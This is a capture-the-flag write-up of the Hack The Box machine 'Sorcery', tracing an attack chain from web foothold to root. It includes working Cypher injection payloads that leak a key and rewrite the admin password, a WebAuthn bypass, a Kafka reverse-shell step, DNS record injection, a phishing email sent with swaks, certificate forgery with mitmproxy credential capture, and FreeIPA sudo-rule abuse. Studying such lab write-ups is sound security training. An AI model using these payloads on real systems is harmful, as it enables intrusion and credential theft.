Sorcery is an insane-difficulty machine from Hack The Box that takes us through a long chain: Cypher injection on a Gitea-hosted Node.js storefront to leak a registration key and rewrite the admin password, a WebAuthn passkey bypass via Chrome DevTools virtual authenticator, custom Kafka protocol packet crafting against an internal /debug endpoint to land a foothold, abusing an internal CA to forge a TLS cert and pivot through chisel + mitmproxy to phish tom_summers credentials, OCR against an Xvfb_screen0 dump to recover tom_summers_admin, leaking ash_winter‘s password from a cleanup.sh cron via ps auxf, and finally abusing FreeIPA sudorule and sysadmins group membership to land root.
┌──(kali㉿kali)-[~/Desktop] └─$ nmap -A -Pn 10.10.11.73 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-18 05:35 EDT Nmap scan report for 10.10.11.73 Host is up (0.65s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 79:93:55:91:2d:1e:7d:ff:f5:da:d9:8e:68:cb:10:b9 (ECDSA) |_ 256 97:b6:72:9c:39:a9:6c:dc:01:ab:3e:aa:ff:cc:13:4a (ED25519) 443/tcp open ssl/http nginx 1.27.1 | tls-alpn: | http/1.1 | http/1.0 |_ http/0.9 |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=sorcery.htb | Not valid before: 2024-10-31T02:09:11 |_Not valid after: 2052-03-18T02:09:11 |_http-title: Did not follow redirect to https://sorcery.htb/ |_http-server-header: nginx/1.27.1 No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.94SVN%E=4%D=6/18%OT=22%CT=1%CU=43962%PV=Y%DS=2%DC=T%G=Y%TM=6852 OS:88C4%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=9) OS:SEQ(SP=105%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M542ST11NW7%O2=M542S OS:T11NW7%O3=M542NNT11NW7%O4=M542ST11NW7%O5=M542ST11NW7%O6=M542ST11)WIN(W1= OS:FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O= OS:M542NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N) OS:T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S OS:+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1( OS:R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI= OS:N%T=40%CD=S)
Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 110/tcp) HOP RTT ADDRESS 1 642.29 ms 10.10.16.1 2 317.66 ms 10.10.11.73
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 105.43 seconds
Two ports: SSH on 22 and an nginx-fronted HTTPS site on 443. The TLS cert exposes the hostname sorcery.htb, so we throw that into /etc/hosts and start enumerating the web app.
Browsing to the site, we land on a login page at https://sorcery.htb/auth/login. Throwing common subdomains at the host, we discover a Gitea instance on git.sorcery.htb. Browsing it reveals a public repo nicole_sullivan/infrastructure we can clone:
The repo has the full backend source for the storefront app, including a Cypher (Neo4j) datastore layer.
Gitea infrastructure repo
Gitea source files
Reading through /backend/src/api, we find that /dashboard/store/<uuid> builds a Cypher query by string-concatenating the route parameter into the query body. That’s a textbook Cypher injection sink, and crucially the response is reflected back in description.
Store page
Product page
Cypher Injection - Leaking the Registration Key
Registration on the public site requires a registration_key field that’s stored on a Config node. We can break out of the existing MATCH and pull registration_key into the response payload:
1
"}) OPTIONAL MATCH (c:Config) RETURN result { .*, description: coalesce(c.registration_key, result.description) }//
URL encode it and append it to a valid product URL:
The description field of the response now reflects the leaked key:
Leaked registration key
1
dd05d743-b560-45dc-9a09-43ab18c7a513
We use that value to register a new account.
Understanding the Submission Flow
After registering, we can submit a new product. Looking at /backend/src/api/products, the flow is:
Receives a product submission (name, description).
Creates and saves a new Product with is_authorized = false and current user as creator.
Gets the “admin” user from DB.
Generates a JWT token for the “admin”, with strict path restrictions and a short (60s) expiry.
Acquires a browser semaphore (to avoid running too many browsers at once).
Launches a headless Chrome browser (random port, no sandbox).
Sets a session cookie (token, value is the JWT, for the internal frontend).
Navigates the bot (headless browser) to the product’s dashboard page.
Waits 10 seconds, then closes browser.
Returns the product’s ID to the client.
So the admin bot visits the URL of every submitted product. Combined with the Cypher injection, we can use the same primitive to rewrite the admin’s password directly in the Neo4j database.
Cypher Injection - Rewriting the Admin Password
First, generate an argon2 hash for a password we control:
1 2 3 4 5 6 7 8 9 10 11
┌──(kali㉿kali)-[~/Hackthebox/Sorcery/infrastructure] └─$ python3 Python 3.12.7 (main, Nov 8 2024, 17:55:36) [GCC 14.2.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> from argon2 import PasswordHasher >>> ph = PasswordHasher() >>> >>> ph = PasswordHasher() >>> print(ph.hash("kujen")) $argon2id$v=19$m=65536,t=3,p=4$/5KLjIeMhLopjr156Sldcw$mfGhv1Reg2Cm33L/Gl657JEnKdIrisJsxuFUKjZ1tXk >>>
The password update payload:
1
"}) MATCH (u:User {username: "admin"}) SET u.password= "<argon_hash>" RETURN result { .*, description: "Password updated" } AS result //
1
"}) MATCH (u:User {username: "admin"}) SET u.password= "$argon2id$v=19$m=65536,t=3,p=4$/5KLjIeMhLopjr156Sldcw$mfGhv1Reg2Cm33L/Gl657JEnKdIrisJsxuFUKjZ1tXk" RETURN result { .*, description: "Password updated" } AS result //
Sending this with single quotes around the username/hash returns a 404:
404 from injection attempt
The route parser appears to choke on the unescaped single quotes. Switching to double quotes for the inner Cypher literals fixes the parse, and using a known argon2 hash for admin123 keeps things deterministic:
1
"}) MATCH (u:User {username:"admin"}) SET u.password="$argon2id$v=19$m=102400,t=2,p=8$8pO4PluD0Xn8fNOsbHB8Dw$2i3GZbgMxAqlqU/db5Wf7w" //
But the privileged routes check withPasskey: true on the JWT and refuse us:
Passkey required
Bypassing WebAuthn with Chrome DevTools
Since admin doesn’t actually have a registered passkey on the server (the field is empty), we can register our own WebAuthn credential using Chrome’s built-in virtual authenticator, then login with it:
Proxy Chrome through Burp.
Open Developer Tools: Press F12 or Ctrl+Shift+I, click the 3-dot menu, More tools → WebAuthn, and add a new virtual authenticator with:
Protocol: CTAP2
Transport: USB
Support Resident Key: Yes
User Verification: Yes
Trigger the “register passkey” flow inside the admin dashboard.
WebAuthn virtual authenticator
After registering the virtual key, log out and log back in with it. The new JWT now carries withPasskey: true:
Admin logged in with passkey
DNS Refresh Endpoint - Discovering /debug
Inside the admin panel there’s a DNS management page that lets us re-fetch records:
DNS panel
Reading the source, the DNS service backend communicates with a Kafka broker over an internal endpoint exposed at /debug, which accepts raw hex-encoded TCP packets and forwards them to Kafka. There’s no auth on the broker once we can hit it, and the update topic ends up shelling out to a script that runs commands. So if we craft a valid Kafka Produce request to the update topic with a reverse-shell payload, we get RCE.
print("Hex-encoded Kafka Produce request for TCP reverse shell:\n") print(hex_request)
Take the generated hex, paste it into /debug, and start a listener. We catch a shell as the user account inside the DNS container:
Shell from Kafka exploit
Pivoting From the DNS Container
The shell drops us inside a Docker container on the 172.19.0.0/16 network. There’s a /dashboard/blog route on the main app that we’ll need later, but first we enumerate the internal services.
There’s an internal FTP server. After a container restart the IP shifts to .3; either way it accepts anonymous login. Inside /pub are the Sorcery Root CA key and certificate:
The container runs dnsmasq, fed by a convert.sh script that merges /dns/hosts with /dns/hosts-user. Append our entry pointing kujen.sorcery.htb at our attacker IP, regenerate the entries, and restart dnsmasq. The container has to crash and restart for the new config to take, but eventually the lookup picks up our injected record:
The infrastructure repo references [email protected] as a maintainer of the Gitea project. With the SOCKS tunnel up, we send him a phishing email through the internal MailHog instance pointing at our forged hostname:
┌──(kali㉿kali)-[~/Hackthebox/Sorcery] └─$ proxychains -q swaks --to [email protected] --from [email protected] --server 172.19.0.6 --port 1025 --data "Subject: ANY\n\nANY\n\nhttps://kujen.sorcery.htb/user/login\n" === Trying 172.19.0.6:1025... === Connected to 172.19.0.6. <- 220 mailhog.example ESMTP MailHog -> EHLO kali <- 250-Hello kali <- 250-PIPELINING <- 250 AUTH PLAIN -> MAIL FROM:<[email protected]> <- 250 Sender [email protected] ok -> RCPT TO:<[email protected]> <- 250 Recipient [email protected] ok -> DATA <- 354 End data with <CR><LF>.<CR><LF> -> Subject: ANY -> -> ANY -> -> https://kujen.sorcery.htb/user/login -> -> . <- 250 Ok: queued as [email protected] -> QUIT <- 221 Bye === Connection closed with remote host.
A monitoring bot reads new mail and follows links. Stand up mitmproxy listening on kujen.sorcery.htb with our forged cert and reverse-proxy it to the real git.sorcery.htb. The bot follows the link and submits credentials, which we capture in cleartext:
SSH in with the captured credentials. Looking around tom’s home, there’s an Xvfb_screen0 framebuffer dump from a virtual X session he’s been running. Pull it down and OCR it:
Logging in as tom_summers_admin and checking sudo:
1 2 3 4 5 6 7 8 9 10
tom_summers_admin@main:~$ sudo -l Matching Defaults entries for tom_summers_admin on localhost: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User tom_summers_admin may run the following commands on localhost: (rebecca_smith) NOPASSWD: /usr/bin/docker login (rebecca_smith) NOPASSWD: /usr/bin/strace -s 128 -p [0-9]* tom_summers_admin@main:~$
The strace rule as rebecca_smith is the interesting one - we can attach to her processes and watch syscall arguments. But first, look at what’s actually running on the box.
Leaking ash_winter From a cleanup.sh Cron
Keep ps auxf running in a loop and you’ll catch a cleanup.sh script being invoked with credentials passed on the command line:
1
ash_winter : w@LoiU8Crmdep
LDAP Enumeration as ash_winter
The host is FreeIPA-joined. Authenticated ldapsearch reveals that ash_winter is the owner of the sysadmins group, and that the manage_sudorules_ldap role grants its members the ability to add users to existing sudo rules:
Combine the two: add ourselves to sysadmins (which gives us the manage_sudorules_ldap role), then use that role to add ash_winter to the allow_sudo rule, which is host=ALL / cmd=ALL / runas=ALL:
ash_winter@main:~$ ipa group-add-member sysadmins --users=ash_winter Group name: sysadmins GID: 1638400005 Member users: ash_winter Indirect Member of role: manage_sudorules_ldap ------------------------- Number of members added 1 ------------------------- ash_winter@main:~$ ipa sudorule-add-user allow_sudo --users=ash_winter Rule name: allow_sudo Enabled: True Host category: all Command category: all RunAs User category: all RunAs Group category: all Users: admin, ash_winter ------------------------- Number of members added 1 ------------------------- ash_winter@main:~$ sudo /usr/bin/systemctl restart sssd
sssd needs a kick to flush its cache and pick up the new sudo rule. After the restart, sudo su works:
1 2 3 4 5 6 7 8
ash_winter@main:~$ sudo su [sudo] password for ash_winter: root@main:/home/ash_winter# id uid=0(root) gid=0(root) groups=0(root) root@main:/home/ash_winter# cat /root/root.txt ea6ed008f0e70461f6ac2f582a4f8a58 root@main:/home/ash_winter# id uid=0(root) gid=0(root) groups=0(root)
And that was Sorcery. A long, layered insane box that touches Cypher injection, WebAuthn bypass, Kafka protocol crafting, internal CA abuse, MITM phishing, OCR creds recovery, and FreeIPA sudo-rule abuse all in one chain. Hope you learned something new!